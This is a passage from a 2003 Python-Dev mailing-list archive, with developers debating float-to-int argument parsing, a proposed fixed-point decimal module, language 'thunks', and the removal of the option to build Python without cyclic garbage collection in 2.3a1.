Actually testing on OS X backs me up. > Michael> Feel free to backport it... > > Since you are the acknowledged backport master, and I have never done a > retrospective backport before, can you give me some clues about how to find > "it"? Basically by reading the output of "cvs log configure.in". Looks like revisions 1.363 & 1.326 are the interesting ones. So try "cvs up -j 1.325 -j 1.326 configure.in" and count the rejects. Cheers, M. -- The "of course, while I have no problem with this at all, it's surely too much for a lesser being" flavor of argument always rings hollow to me. -- Tim Peters, 29 Apr 1998 From guido@python.org Wed Feb 5 15:04:34 2003 From: guido@python.org (Guido van Rossum) Date: Wed, 05 Feb 2003 10:04:34 -0500 Subject: [Python-Dev] Passing floats to "i" parser marker In-Reply-To: Your message of "Wed, 05 Feb 2003 15:41:05 +0100." <3E412281.4050106@lemburg.com> References: <3E40D265.8080005@lemburg.com> <200302051324.h15DOeJ23879@pcp02138704pcs.reston01.va.comcast.net> <3E412281.4050106@lemburg.com> Message-ID: <200302051504.h15F4Yb28211@odiug.zope.com> > > The problem (and my opinion) has come up here on and off many times. > > Hmm, I must have been on vacation then :-) Yeah, I miss those long European vacations... :-) > > Since all the type knows is that it's __int__ method is called, not > > that this is in the context of getargs.c, how could it protest in this > > case without protesting about all calls to int()? > > But that's the point: "i" should work just like int() does > w/r to the __int__ slot and it does, so nothing is broken > which would need fixing. Well, that's where we disagree. I think "i" is broken and needs fixing. The history: Long ago, "i" and friends only accepted honest-to-god ints; if you had something else that implemented __int__, you had to call int() on it before passing it along. list.insert() only accepted ints for the index, and all was good. Then someone suggested that it wasn't fair that built-in ints had special status when passed to a function implemented in C, and that anything that supported __int__ should be allowed. The use case (though we didn't have that word then yet) was some user-defined type that represented an int with additional behavior (it was before you could subclass int). It wasn't until years after the idea was implemented that I realized that floats also have an __int__ method and that you could write not only "list.insert(3.0, xxx)", which was arguably acceptable, but also "list.insert(3.14, xxx)", which was definitely not. So the warning for "i" is an attempt at a fix for this that has the largest bang for the buck (as opposed to introducing a second method for lossy conversions to int, which would be much more work and cause much more broken code). > IMHO, the right way to fix what you think is broken is by introducing > a new parser marker with your new semantics. Then use that parser > marker whereever it is found meaningful. Tell that to the people who have to maintain thousands of PyArg_* calls. I think that a parser marker meaning "accept a float but truncate it to int" would not find much use. > The problem is that your change propogates to all third-party > extensions as well and that's not desirable in all cases. IMHO, > it is not even desirable for all cases in the Python interpreter > (see below). > > > By far the majority of types that implement __int__ represent int-like > > data; only floats and rationals use __int__ for losing information. > > That's why the above solution was chosen. > > I'm sure that all numeric-like types implement __int__ for > the sake of being compatible to int(). Understood. We're going for a 90% solution here (see above). > > Why do you think so much will break? In Python 2.2, you can write > > > > a = range(10) > > a.insert(3.14, 0) > > > > and it will insert a 0 at position 3. This is undocumented. Do you > > really think anyone in the world willfully uses this? > > No, this is one spot where the new parser marker would fit > well. Still, even in this case I think that passing > floats to "i" is perfectly OK, namely in all those cases > where no loss of data occurs, e.g. passing 13.0 to "i" > should be accepted as 13. Smarter people than you and me can disagree about that. Personally, I think that accepting floats with int values here is asking for trouble: a calculation that returns a perfect int on one machine may not do so on another, and hence a subtle portability problem is born. > >>Which makes me think: int() started > >>to return longs a few months ago -- we don't even have > >>a cast which would raise an OverlfowError in case > >>the conversion to int is not possible. > > > > Why would you need one (except in C code, where "i" is such a cast)? > > For exactly this case -- to make sure that "i" doesn't > overflow when receiving the return value from int(). This makes no sense. "i" gives a perfectly valid error message when passed a value that's too long to fit in a C int -- in fact, the error message is exactly the same as you used to get from int(x) if x were a long larger than sys.maxint. > > In the future, the difference between int and long will disappear > > completely. > >>Of course, int() > >>would return a long and then the "i" parser marker > >>implementation would complain, but that may be too late, e.g. > >>in the case where you pass the data over the wire or > >>store it in a file for later processing. > > > > YAGNI. > > I wasn't proposing anything in the above paragraph... > what does YAGNI apply to here ? I sohuld have invented a new acronym. What I meant was YAWTM (You Are Worrying Too Much). --Guido van Rossum (home page: http://www.python.org/~guido/) From skip@pobox.com Wed Feb 5 15:09:33 2003 From: skip@pobox.com (Skip Montanaro) Date: Wed, 5 Feb 2003 09:09:33 -0600 Subject: [Python-Dev] BUILDEXE erroneously empty on 2.2.2 for Mac OS X? In-Reply-To: <2mel6mok20.fsf@starship.python.net> References: <15936.18440.704332.854883@montanaro.dyndns.org> <2mn0laon8x.fsf@starship.python.net> <15937.8458.403942.646553@montanaro.dyndns.org> <2mel6mok20.fsf@starship.python.net> Message-ID: <15937.10541.274987.165566@montanaro.dyndns.org> Michael> Hmm. Looking at CVS suggests that 2.2 sets BUILDEXE correctly Michael> if you are building in-tree, but not out of tree. Could that Michael> be the difference? Yes, I generally build out-of-tree. I have a debug build dir, an optimized build dir, one for code coverage, one for profiling, etc. Thanks for the cvs tips. I'll see if I can make something work. Skip From tim.one@comcast.net Wed Feb 5 15:10:34 2003 From: tim.one@comcast.net (Tim Peters) Date: Wed, 05 Feb 2003 10:10:34 -0500 Subject: trying times [Python-Dev] thunks In-Reply-To: <200302051305.h15D5Ya23805@pcp02138704pcs.reston01.va.comcast.net> Message-ID: >>> these are trying times: >>> >>> http://online.effbot.org/2003_02_01_archive.htm#python-dev >> Trying is fine, but Fredrik has a point there. > Followup: > > http://online.effbot.org/2003_02_01_archive.htm#irony > > """ > # irony: python-dev is discussing decimal arithmetics in a thread > titled "why did fredrik leave the party". to the extent yesterday's > post had a point, I think this proves it ;-) > """ It's often hard to guess what /F's points are. In this case, it's about getting a library into 2.3, where the idea to get it into 2.3 was approved no later than last September: From: Tim Peters Date: Thu Sep 19 14:20:22 2002 To: python-list@python.org Subject: RE: monetary applications [was: Python GUI app to impress the bos s?] About http://starship.python.net/crew/aahz/FixedPoint.py If someone is willing and able to do the work (sorry, I can't make time for it), Guido will accept this into the standard library for 2.3. It's a small, self-contained, pure Python module; it's been in use for a few years with no bugs reported; and is unencumbered by any license (a lawyer has told me that an individual in the USA cannot meaningfully disclaim copyright, so fine, the copyright I didn't want is hereby transferred to the PSF ). What work remains: + Write docs for the Library Reference manual. I expect the existing module docstring will be a good start. + Create a test driver for Python's regression suite. + Have fun modernizing it, if you like (for example, "/" should be changed to "//" where integer division is intended; playing with __slots__ may yield some nice savings; whatever). This should be a fun and comparatively easy task -- if you ever wanted to get your name into the ACKS file, here's one way to do it without tithing you income directly to Guido . although-tithing-saves-me-time-ly y'rs - tim From barry@python.org Wed Feb 5 15:25:16 2003 From: barry@python.org (Barry A. Warsaw) Date: Wed, 5 Feb 2003 10:25:16 -0500 Subject: [Python-Dev] Why did Fredrik leave the party? References: <200302031653.h13Grof20104@odiug.zope.com> <068a01c2cc8e$31e97140$6d94fea9@newmexico> <200302042057.h14KvEI26727@odiug.zope.com> <200302041843.30945.mclay@nist.gov> <200302050207.h1527tf21975@pcp02138704pcs.reston01.va.comcast.net> <001a01c2cd1e$a1e30d40$860bf5d1@PythonToy> <200302051448.h15EmL428173@odiug.zope.com> Message-ID: <15937.11484.904527.8482@gargle.gargle.HOWL> >>>>> "GvR" == Guido van Rossum writes: GvR> There's also the tension between making the language simpler GvR> (to learn) and making programs simpler (to read). For GvR> example, *if* (and that's still a very big if) we were to add GvR> a language feature that would let you write | synchronized(lock): | BLOCK GvR> instead of | lock.aqcuire() | try: | BLOCK | finally: | lock.release() The real problem is that the second example isn't even correct, if you want to be totally anal about it. ;) You really need an atomic operation to acquire the lock and enter the try block, which the second example doesn't give you. It's a narrow window of failure but it exists, and you have to decide whether you care. So the first example doesn't /just/ improve readability, it improves correctness too (assuming it is also atomic). -Barry From amk@amk.ca Wed Feb 5 15:28:04 2003 From: amk@amk.ca (A.M. Kuchling) Date: Wed, 05 Feb 2003 10:28:04 -0500 Subject: [Python-Dev] Re: trying times thunks In-Reply-To: <200302042057.h14KvEI26727@odiug.zope.com> References: <200302031653.h13Grof20104@odiug.zope.com> <3E4019C5.2020408@lemburg.com> <068a01c2cc8e$31e97140$6d94fea9@newmexico> <200302042057.h14KvEI26727@odiug.zope.com> Message-ID: Guido van Rossum wrote: > here. I haven't seen him fix any SRE bugs either, SF bugs assigned to > him for ages notwithstanding. On the other hand, "unsubscribing from python-dev" != "ending all Python development". Maybe we should draw up a list of what needs to get done before 2.3alpha2 can be released; are any of the bugs critical? I certainly understand where he's coming from, though. Rational number threads are my particular pet peeve, because discussions never converge on a solution, making it unlikely that any way will ever be found to add rationals to the language, yet rational threads seem to go on endlessly. Working on language features seems like misdirected activity to me, and perhaps to Fredrik as well, when other activities might be more beneficial for Python, e.g. finishing and implementing Moshe's Batteries Included PEP, adding numarray, or things like that. (Overall I'm really pleased with 2.3 because the library additions -- logging, register.py, PyBSDDB, tarfile, and the CSV API, should it go in -- plug a number of gaps in the stdlib.) --amk (www.amk.ca) LEAR: O, that way madness lies. -- _King Lear_, III, iv From tim.one@comcast.net Wed Feb 5 15:49:36 2003 From: tim.one@comcast.net (Tim Peters) Date: Wed, 05 Feb 2003 10:49:36 -0500 Subject: [Python-Dev] Fixed-point numeric type In-Reply-To: Message-ID: [Ka-Ping Yee] > I know no one asked for my opinion, but if you will indulge me > for a moment -- i think the most important concern is to keep the > type simple, minimal, and above all *immutable*. > > Thus: > > 1. Prevent setting of attributes. Good idea. > 2. Turn 'precision' into a read-only attribute. To set precision, > just make a new number with decimal(x, new_precision). The existing set_precision() name still seems fine, though. It's not necessarily a "new" precision; set_precision says what it means. > 3. But don't call it 'precision'. The word 'precision' usually > means either the total number of significant digits, or the > least significant distinguishable unit. What we're talking > about (number of digits after the decimal point) is neither. > I believe the correct term is 'scale' (from SQL). See also > http://www2.hursley.ibm.com/decimal/. Opposed. Users had no trouble understanding what precision means in this context (the module has been in use for a few years). > 4. Get rid of copy(); it's unnecessary if you're immutable. Agreed. > 5. Get rid of 'frac()'. I don't see how it would be needed > very often, and it's easy to do x - long(x). Don't care much, but gratuitous fiddling will turn this into a bottomless pit. > That leaves a simple immutable numeric type with no public methods "no public methods" is a non-goal to me. > and just one attribute -- hence the least possible burden on a > future version of Python, if this type eventually becomes built-in. > (And the least possible burden is a good goal in general anyway.) I hope that an implementation of Mike Cowlishaw's nascent standard gets that honor instead. > Also: > > 6. No global mutable state. That means no global settings for > default precision or rounding mode. Either pick a standard > precision or always require the second constructor argument. > Rounding mode is a tougher problem; i see two solutions: > > (a) Eliminate variable rounding; always round half to even. Too unrealistic to consider -- a slew of silly rounding modes is a requirement for commercial use. > (b) Set rounding function as an attribute of the number. Bleech. > Operators use the rounding function of the first operand. > This lets modules control module-local rounding behaviour > if they really want to do so, without interfering with > the rest of the program. > > This may sound like a harsh requirement, but i am convinced that > global mutable settings will cause nightmares for people who try > to make their modules and programs interoperate. Tough luck. Practicality beats purity here: the pure solution is to pass a "numeric context" object to each operation, which some implementations actually require. The resulting source code is tedious and unreadable. The practical alternative is what you live with every day in FP arithmetic, yet don't even notice: thread-local state holding the current IEEE-754 rounding mode and precision control (etc) settings, implicitly an input to every operation (and assorted 754 status flags are also implicitly outputs from every operation). It works fine, but requires some care in programs living on the edge. People will screw it sometimes, but so it goes. From guido@python.org Wed Feb 5 15:52:19 2003 From: guido@python.org (Guido van Rossum) Date: Wed, 05 Feb 2003 10:52:19 -0500 Subject: [Python-Dev] Bridging strings from Python to other languages In-Reply-To: Your message of "Tue, 04 Feb 2003 23:55:42 EST." <14873590-38C6-11D7-BAFA-000393877AE4@codefab.com> References: <14873590-38C6-11D7-BAFA-000393877AE4@codefab.com> Message-ID: <200302051552.h15FqKA28439@odiug.zope.com> Hi Bill, I've read though the end of your post, and while I appreciate the problem, I have little help to offer. It's not even clear whether you're asking for changes to Python or simply a hint as to how to write your bridge. To me, it seems that the crux is your requirement > (3) identity is maintained; pass a string with id() 7570720 from > Python into the alien runtime and subsequently from the alien runtime > back into python and the same string instance with id() 7570720 really > should come back In my experience almost no Python code depends on this property, and it seems to be the most problematic one. So why is this a requirement? If you can live with only using Unicode strings (even when all they contain is ASCII or Latin-1 values), I think subclassing Unicode might be the way to go. I don't have time to dig deeper into this. But if you think a small change to Python can make life easier for you, I expect we'll be happy to implement it, as long as it doesn't make life harder for Python developers. --Guido van Rossum (home page: http://www.python.org/~guido/) From tim.one@comcast.net Wed Feb 5 15:53:03 2003 From: tim.one@comcast.net (Tim Peters) Date: Wed, 05 Feb 2003 10:53:03 -0500 Subject: [Python-Dev] Fixed-point numeric type In-Reply-To: Message-ID: [Ka-Ping Yee] > No need for methods. Other numeric types don't have them. (Well, > complex has .conjugate(), but that's very complex-specific.) Please drop this one -- "no methods" remains a non-goal. Strings didn't have methods either, now use of string methods is ubiquitous, and Guido approved of adding methods to numbers too years ago (but nobody ever got around to adding some; e.g., long.numbits()). From Robert Ledwith Wed Feb 5 15:57:39 2003 From: Robert Ledwith (Robert Ledwith) Date: Wed, 5 Feb 2003 10:57:39 -0500 (EST) Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes existing applications to fail Message-ID: <200302051557.h15FvdG29072@ftp01.cas.org> During the process of trying to upgrade my applications from Python 2.2.2 to Python 2.3.a1 I have discovered that applications which previously ran to completion using Python 2.2.2 will no longer complete using Python 2.3a1 due to the increased memory needed for every Python object. Using previous versions of Python, I routinely used the --without-cycle-gc configuration option, since the performance was better and the process size footprint was smaller. Under Python 2.3.a1 this is no longer an option. For my 32 bit applications, this meant an increase of 8 bytes per Python object; for the 64 bit applications, the increase is 16 bytes per object. For applications which are small this increase has a negligible effect. In fact, the various optimizations that have been implemented has caused a mild net improvement in run times. However, large 32-bit applications which processed the exact same input streams are now failing due to exceeding the maximum process image size possible on the computers. In addition, while the existing 64-bit applications run to completion, they typically require more CPU time due to the larger footprint of the processes. I believe my experiences highlight a potential issue for three classes of Python programs: 1. Programs written for embedded systems and tightly constrained systems such as PDAs. Previously running programs (especially in-memory database based programs) may simply no longer fit within the limited hardware. For these programs, migrating to Python 2.3 will be impossible without rewriting the programs to create fewer objects. 2. 32-bit Python programs which create millions of small Python objects and are approaching the maximum process image size for the platform. As with the first class of programs, migrating to Python 2.3 will be impossible without rewriting. 3. 64-bit Python programs which create millions of small Python objects. These programs will continue to run, but may see a marked performance problem. In my situation I have seen increases in run times vary from 0% to 40%. I do not believe my experiences will prove to be unique among the Python community. Given this possibility, is it desirable to re-insert the logic to make the cyclic GC optional now, heading off potential problems that would surface only months from now, once Python 2.3 is officially rolled out and installed worldwide? :s Robert H. Ledwith INET: rledwith@cas.org :s Unless explicitly stated to the contrary, nothing in this posting should :s be construed as representing my employer's opinions. From gsw@agere.com Wed Feb 5 16:03:48 2003 From: gsw@agere.com (Gerald S. Williams) Date: Wed, 5 Feb 2003 11:03:48 -0500 Subject: [Python-Dev] (no subject) In-Reply-To: <20030205144303.10589.43636.Mailman@mail.python.org> Message-ID: Mark Lutz wrote: > Not true. I don't think people on python-dev are in touch > with the impacts of their changes on the Python learning curve. > [ ... ] Like it or not, beginners do need to know about new > things, even if they will not be coding them. I agree, and I've held off on commenting on some of these newer features since I haven't earned the right to be the lone naysayer. I suspect that Guido may be onto something with his thunk proposal that ultimately may simplify things (especially future language extensions), though. -Jerry From mwh@python.net Wed Feb 5 16:14:35 2003 From: mwh@python.net (Michael Hudson) Date: Wed, 05 Feb 2003 16:14:35 +0000 Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes existing applications to fail In-Reply-To: <200302051557.h15FvdG29072@ftp01.cas.org> (Robert Ledwith's message of "Wed, 5 Feb 2003 10:57:39 -0500 (EST)") References: <200302051557.h15FvdG29072@ftp01.cas.org> Message-ID: <2mwuken1qs.fsf@starship.python.net> Robert Ledwith writes: > I do not believe my experiences will prove to be unique among the Python > community. Given this possibility, is it desirable to re-insert the > logic to make the cyclic GC optional now, heading off potential problems > that would surface only months from now, once Python 2.3 is officially rolled > out and installed worldwide? I'm not fully aware of all the issues, but I think that the interaction between the sometimes-there-sometimes-not gc code and the trashcan facility for safely deallocating deeply nested structures was deeply confusing and was a motivation for making the GC code non-optional. So desirable or not, re-adding --without-cycle-gc may be *hard*. Cheers, M. -- It's a measure of how much I love Python that I moved to VA, where if things don't work out Guido will buy a plantation and put us to work harvesting peanuts instead. -- Tim Peters, comp.lang.python From mal@lemburg.com Wed Feb 5 16:15:57 2003 From: mal@lemburg.com (M.-A. Lemburg) Date: Wed, 05 Feb 2003 17:15:57 +0100 Subject: [Python-Dev] Readability vs. Understanding In-Reply-To: <200302051448.h15EmL428173@odiug.zope.com> References: <200302031653.h13Grof20104@odiug.zope.com> <068a01c2cc8e$31e97140$6d94fea9@newmexico> <200302042057.h14KvEI26727@odiug.zope.com> <200302041843.30945.mclay@nist.gov> <200302050207.h1527tf21975@pcp02138704pcs.reston01.va.comcast.net> <001a01c2cd1e$a1e30d40$860bf5d1@PythonToy> <200302051448.h15EmL428173@odiug.zope.com> Message-ID: <3E4138BD.3010505@lemburg.com> Guido van Rossum wrote: > There's also the tension between making the language simpler (to > learn) and making programs simpler (to read). For example, *if* (and > that's still a very big if) we were to add a language feature that > would let you write > > synchronized(lock): > BLOCK > > instead of > > lock.aqcuire() > try: > BLOCK > finally: > lock.release() > > I assure you that this makes programs that use locks more readable, > which reduces maintenance costs down the road. But at the same time > we can't hope to reduce every idiom to a single statement, and we must > be careful not to destroy the language by adding too many "neat > tricks". I think you're getting this wrong: By introducing meta-constructs like the thunk idea to raise the expressiveness of random program blocks you do make the program simpler to read, but certainly not easier to comprehend. The reason is that arbitrary code gets hidden from the user in a way which makes it hard to actually follow the flow of commands. The above lock example is perfect for this: the try:finally: approach is clear and explicit whereas the synchronized(lock): block introduces a layer of abstraction that is not easy to comprehend: because the flow of control is not obvious anymore and because it is hidden in some definition of synchronized() which the maintainer will have to look up somewhere (where somewhere could be inside some .zip archive holding the great new toolbox some geek developer which has long left the company found cool to use... :-/). We have already introduced such a meta-contruct feature in a few places, e.g. importers and meta-classes... both are hardly ever used and that's good, because understanding, maintaining and possibly debugging these is a nightmare for much the same reason that thunks are. Now, we're lucky since meta-classes or writing importers is not all that easy. With thunks the situation will be much like giving macros to Python programmers: you'll see a proliferation of new meta-constructs in all kinds of programs and in the end lose the maintainability argument which is still one of the strongest ones for using Python in the first place. -- Marc-Andre Lemburg CEO eGenix.com Software GmbH _______________________________________________________________________ eGenix.com -- Makers of the Python mx Extensions: mxDateTime,mxODBC,... Python Consulting: http://www.egenix.com/ Python Software: http://www.egenix.com/files/python/ From guido@python.org Wed Feb 5 16:19:23 2003 From: guido@python.org (Guido van Rossum) Date: Wed, 05 Feb 2003 11:19:23 -0500 Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes existing applications to fail In-Reply-To: Your message of "Wed, 05 Feb 2003 10:57:39 EST." <200302051557.h15FvdG29072@ftp01.cas.org> References: <200302051557.h15FvdG29072@ftp01.cas.org> Message-ID: <200302051619.h15GJNk28568@odiug.zope.com> > I do not believe my experiences will prove to be unique among the > Python community. Given this possibility, is it desirable to > re-insert the logic to make the cyclic GC optional now, heading off > potential problems that would surface only months from now, once > Python 2.3 is officially rolled out and installed worldwide? Everything's possible, but the manpower available to create and write this code is limited. Here's a challenge. If you are right, and others will feel the same pain, you and those others should get together and produce a patch to Python that makes cyclic GC optional again. You should also allocate some ongoing time in the future to maintain your code and make sure it still works in future versions. It's a fact of life that configuration options that aren't used by the core Python maintainers tend to stop working after one or two releases, and that's one of the reasons that we removed GC's optionality -- nobody was keeping the endless nests of #ifdefs up-to-date as other code changes were implemented, and the result was poor code readability (hence more effort needed for code maintenance) with no benefit -- the feature didn't work. This may seem like a cheap shot back, but it isn't. Python is a volunteer project (the PythonLabs folks make a living writing Zope code, and others working on the code are either in school or in a similar position), and there's only so much we can do. If nobody steps up to maintain a particular feature, that feature is likely to be removed at some point, because keeping around dead code is never free. (Witness the numerous style changes made to standard library modules that nobody uses. :-) I assure you that if you put in the time it takes to maintain your code, and you are a decent coder, and the feature doesn't interfere with other Python goals (like wide portability), your code isn't likely to be thrown out. As it was, nobody so far was interested in maintaining GC's optionality, so out it went. I'll welcome it back if it comes with a maintenance offer. --Guido van Rossum (home page: http://www.python.org/~guido/) From mal@lemburg.com Wed Feb 5 16:36:38 2003 From: mal@lemburg.com (M.-A. Lemburg) Date: Wed, 05 Feb 2003 17:36:38 +0100 Subject: [Python-Dev] Passing floats to "i" parser marker In-Reply-To: <200302051504.h15F4Yb28211@odiug.zope.com> References: <3E40D265.8080005@lemburg.com> <200302051324.h15DOeJ23879@pcp02138704pcs.reston01.va.comcast.net> <3E412281.4050106@lemburg.com> <200302051504.h15F4Yb28211@odiug.zope.com> Message-ID: <3E413D96.9020404@lemburg.com> Guido van Rossum wrote: >>>Since all the type knows is that it's __int__ method is called, not >>>that this is in the context of getargs.c, how could it protest in this >>>case without protesting about all calls to int()? >> >>But that's the point: "i" should work just like int() does >>w/r to the __int__ slot and it does, so nothing is broken >>which would need fixing. > > Well, that's where we disagree. I think "i" is broken and needs > fixing. > > The history: > > Long ago, "i" and friends only accepted honest-to-god ints; if you had > something else that implemented __int__, you had to call int() on it > before passing it along. list.insert() only accepted ints for the > index, and all was good. > > Then someone suggested that it wasn't fair that built-in ints had > special status when passed to a function implemented in C, and that > anything that supported __int__ should be allowed. The use case > (though we didn't have that word then yet) was some user-defined type > that represented an int with additional behavior (it was before you > could subclass int). > > It wasn't until years after the idea was implemented that I realized > that floats also have an __int__ method and that you could write not > only "list.insert(3.0, xxx)", which was arguably acceptable, but also > "list.insert(3.14, xxx)", which was definitely not. > > So the warning for "i" is an attempt at a fix for this that has the > largest bang for the buck (as opposed to introducing a second method > for lossy conversions to int, which would be much more work and cause > much more broken code). > >>IMHO, the right way to fix what you think is broken is by introducing >>a new parser marker with your new semantics. Then use that parser >>marker whereever it is found meaningful. > > Tell that to the people who have to maintain thousands of PyArg_* > calls. I'm one of them :-) > I think that a parser marker meaning "accept a float but truncate it > to int" would not find much use. I was trying to suggest a parser marker for "accept whole numbers only", ie. floats without fraction, integers, subclasses of integers and other classes implementating __int__. >>... >>No, this is one spot where the new parser marker would fit >>well. Still, even in this case I think that passing >>floats to "i" is perfectly OK, namely in all those cases >>where no loss of data occurs, e.g. passing 13.0 to "i" >>should be accepted as 13. > > Smarter people than you and me can disagree about that. Personally, I > think that accepting floats with int values here is asking for > trouble: a calculation that returns a perfect int on one machine may > not do so on another, and hence a subtle portability problem is born. True. I was thinking of cases where some external lib returns floats even for integers (e.g. database interface which return DECIMAL columns with scale 0 as floats -- Zope converts these to integers; even though these can overflow). Now, you'll never see a float coming out of that interface with a non-0 fraction. With the change you'll also won't be able to pass the value as parameter to many thousand Python APIs anymore. To work around this, the interface would have to be changed to apply a magic similar to the one Zope uses. But then you have a different problem: a change in data type based on a database type parameter. >>>>Which makes me think: int() started >>>>to return longs a few months ago -- we don't even have >>>>a cast which would raise an OverlfowError in case >>>>the conversion to int is not possible. >>> >>>Why would you need one (except in C code, where "i" is such a cast)? >> >>For exactly this case -- to make sure that "i" doesn't >>overflow when receiving the return value from int(). > > This makes no sense. "i" gives a perfectly valid error message when > passed a value that's too long to fit in a C int -- in fact, the error > message is exactly the same as you used to get from int(x) if x were a > long larger than sys.maxint. That's what I meant: Python 2.3a1: >>> int(123478987123L) 123478987123L Now, if I want to make sure that I can pass the value to "i" I'll have to add another check which makes sure that the int() return value is indeed a standard integer. >>>YAGNI. >> >>I wasn't proposing anything in the above paragraph... >>what does YAGNI apply to here ? > > I sohuld have invented a new acronym. What I meant was YAWTM (You Are > Worrying Too Much). Perhaps, -- Marc-Andre Lemburg CEO eGenix.com Software GmbH _______________________________________________________________________ eGenix.com -- Makers of the Python mx Extensions: mxDateTime,mxODBC,... Python Consulting: http://www.egenix.com/ Python Software: http://www.egenix.com/files/python/ From guido@python.org Wed Feb 5 16:41:40 2003 From: guido@python.org (Guido van Rossum) Date: Wed, 05 Feb 2003 11:41:40 -0500 Subject: [Python-Dev] Passing floats to "i" parser marker In-Reply-To: Your message of "Wed, 05 Feb 2003 17:36:38 +0100." <3E413D96.9020404@lemburg.com> References: <3E40D265.8080005@lemburg.com> <200302051324.h15DOeJ23879@pcp02138704pcs.reston01.va.comcast.net> <3E412281.4050106@lemburg.com> <200302051504.h15F4Yb28211@odiug.zope.com> <3E413D96.9020404@lemburg.com> Message-ID: <200302051641.h15GfeP28701@odiug.zope.com> > I was trying to suggest a parser marker for "accept whole > numbers only", ie. floats without fraction, integers, subclasses > of integers and other classes implementating __int__. I'm still against that, for the reasons stated here: > > Smarter people than you and me can disagree about that. Personally, I > > think that accepting floats with int values here is asking for > > trouble: a calculation that returns a perfect int on one machine may > > not do so on another, and hence a subtle portability problem is born. > > True. I was thinking of cases where some external lib > returns floats even for integers (e.g. database interface > which return DECIMAL columns with scale 0 as floats -- > Zope converts these to integers; even though these can > overflow). Now, you'll never see a float coming out of > that interface with a non-0 fraction. With the change you'll > also won't be able to pass the value as parameter to many > thousand Python APIs anymore. > > To work around this, the interface would have to be changed > to apply a magic similar to the one Zope uses. But then > you have a different problem: a change in data type based > on a database type parameter. This seems the burden of the database user in either case. Trying to compensate for this everywhere else in the language is wrong. > Python 2.3a1: > >>> int(123478987123L) > 123478987123L > > Now, if I want to make sure that I can pass the value to > "i" I'll have to add another check which makes sure that > the int() return value is indeed a standard integer. YADWTM (You Are Definitely Worrying Too Much :-). --Guido van Rossum (home page: http://www.python.org/~guido/) From tismer@tismer.com Wed Feb 5 16:47:02 2003 From: tismer@tismer.com (Christian Tismer) Date: Wed, 05 Feb 2003 17:47:02 +0100 Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes existing applications to fail In-Reply-To: <2mwuken1qs.fsf@starship.python.net> References: <200302051557.h15FvdG29072@ftp01.cas.org> <2mwuken1qs.fsf@starship.python.net> Message-ID: <3E414006.9030907@tismer.com> Michael Hudson wrote: > Robert Ledwith writes: > > >>I do not believe my experiences will prove to be unique among the Python >>community. Given this possibility, is it desirable to re-insert the >>logic to make the cyclic GC optional now, heading off potential problems >>that would surface only months from now, once Python 2.3 is officially rolled >>out and installed worldwide? > > > I'm not fully aware of all the issues, but I think that the > interaction between the sometimes-there-sometimes-not gc code and the > trashcan facility for safely deallocating deeply nested structures was > deeply confusing and was a motivation for making the GC code > non-optional. > > So desirable or not, re-adding --without-cycle-gc may be *hard*. I don't think so. When I read the latest CVS version, I also stumbled on the new-born relationship between trashcan and GC, but forgot to complain about it. My original implementation abused the ob_type field of the objects, which looked insane for some developers. But insane or not, I really dislike that for sanity, GC is no longer an option. I know of many companies (all my Stackless customers, for instance), who would *never* switch to a Python version that needs the GC. Concerning the trashcan code, there is not so much to change to make it independent from GC, again. Some code does extra actions in order to prevend interference, but it wouldn't hurt even to leave this in. I'd be happy to help with that. But if GC lost its optionality otherwise, too, I can't estimate how much work that is. cheers - chris -- Christian Tismer :^) Mission Impossible 5oftware : Have a break! Take a ride on Python's Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ 14109 Berlin : PGP key -> http://wwwkeys.pgp.net/ work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 whom do you want to sponsor today? http://www.stackless.com/ From guido@python.org Wed Feb 5 16:49:16 2003 From: guido@python.org (Guido van Rossum) Date: Wed, 05 Feb 2003 11:49:16 -0500 Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes existing applications to fail In-Reply-To: Your message of "Wed, 05 Feb 2003 17:47:02 +0100." <3E414006.9030907@tismer.com> References: <200302051557.h15FvdG29072@ftp01.cas.org> <2mwuken1qs.fsf@starship.python.net> <3E414006.9030907@tismer.com> Message-ID: <200302051649.h15GnGI28753@odiug.zope.com> > > So desirable or not, re-adding --without-cycle-gc may be *hard*. > > I don't think so. When I read the latest CVS version, > I also stumbled on the new-born relationship between > trashcan and GC, but forgot to complain about it. > My original implementation abused the ob_type field > of the objects, which looked insane for some > developers. > But insane or not, I really dislike that for sanity, > GC is no longer an option. I know of many companies > (all my Stackless customers, for instance), who > would *never* switch to a Python version that needs > the GC. You can help by volunteering to maintain the code that is needed for making GC optional. --Guido van Rossum (home page: http://www.python.org/~guido/) From tim.one@comcast.net Wed Feb 5 16:32:34 2003 From: tim.one@comcast.net (Tim Peters) Date: Wed, 05 Feb 2003 11:32:34 -0500 Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes existing applications to fail In-Reply-To: <2mwuken1qs.fsf@starship.python.net> Message-ID: [Michael Hudson] > I'm not fully aware of all the issues, but I think that the > interaction between the sometimes-there-sometimes-not gc code and the > trashcan facility for safely deallocating deeply nested structures was > deeply confusing and was a motivation for making the GC code > non-optional. That's so, and the trashcan code was the source of critical bugs. The trashcan code is nearly obvious when we can rely on gc being there, and extension modules can easily use the trashcan machinery too. In the absence of cyclic gc, extension modules can't use the trashcan machinery without editing the core Python source code to teach the trashcan about each type that wants to participate, and the trashcan implementation was much harder to get right (it took us years to get to the state where we thought it might finally be right ). > So desirable or not, re-adding --without-cycle-gc may be *hard*. It would be, yes. Note too that --without-cycle-gc was never intended to be an ongoing config option. It was a hairy experimental feature at first, and we wanted a way to back it out quickly if the design proved to have fatal flaws. That didn't happen. From neal@metaslash.com Wed Feb 5 17:00:24 2003 From: neal@metaslash.com (Neal Norwitz) Date: Wed, 05 Feb 2003 12:00:24 -0500 Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes existing applications to fail In-Reply-To: <200302051557.h15FvdG29072@ftp01.cas.org> References: <200302051557.h15FvdG29072@ftp01.cas.org> Message-ID: <20030205170023.GJ24222@epoch.metaslash.com> On Wed, Feb 05, 2003 at 10:57:39AM -0500, Robert Ledwith wrote: > > During the process of trying to upgrade my applications from Python 2.2.2 > to Python 2.3.a1 I have discovered that applications which previously ran > to completion using Python 2.2.2 will no longer complete using Python 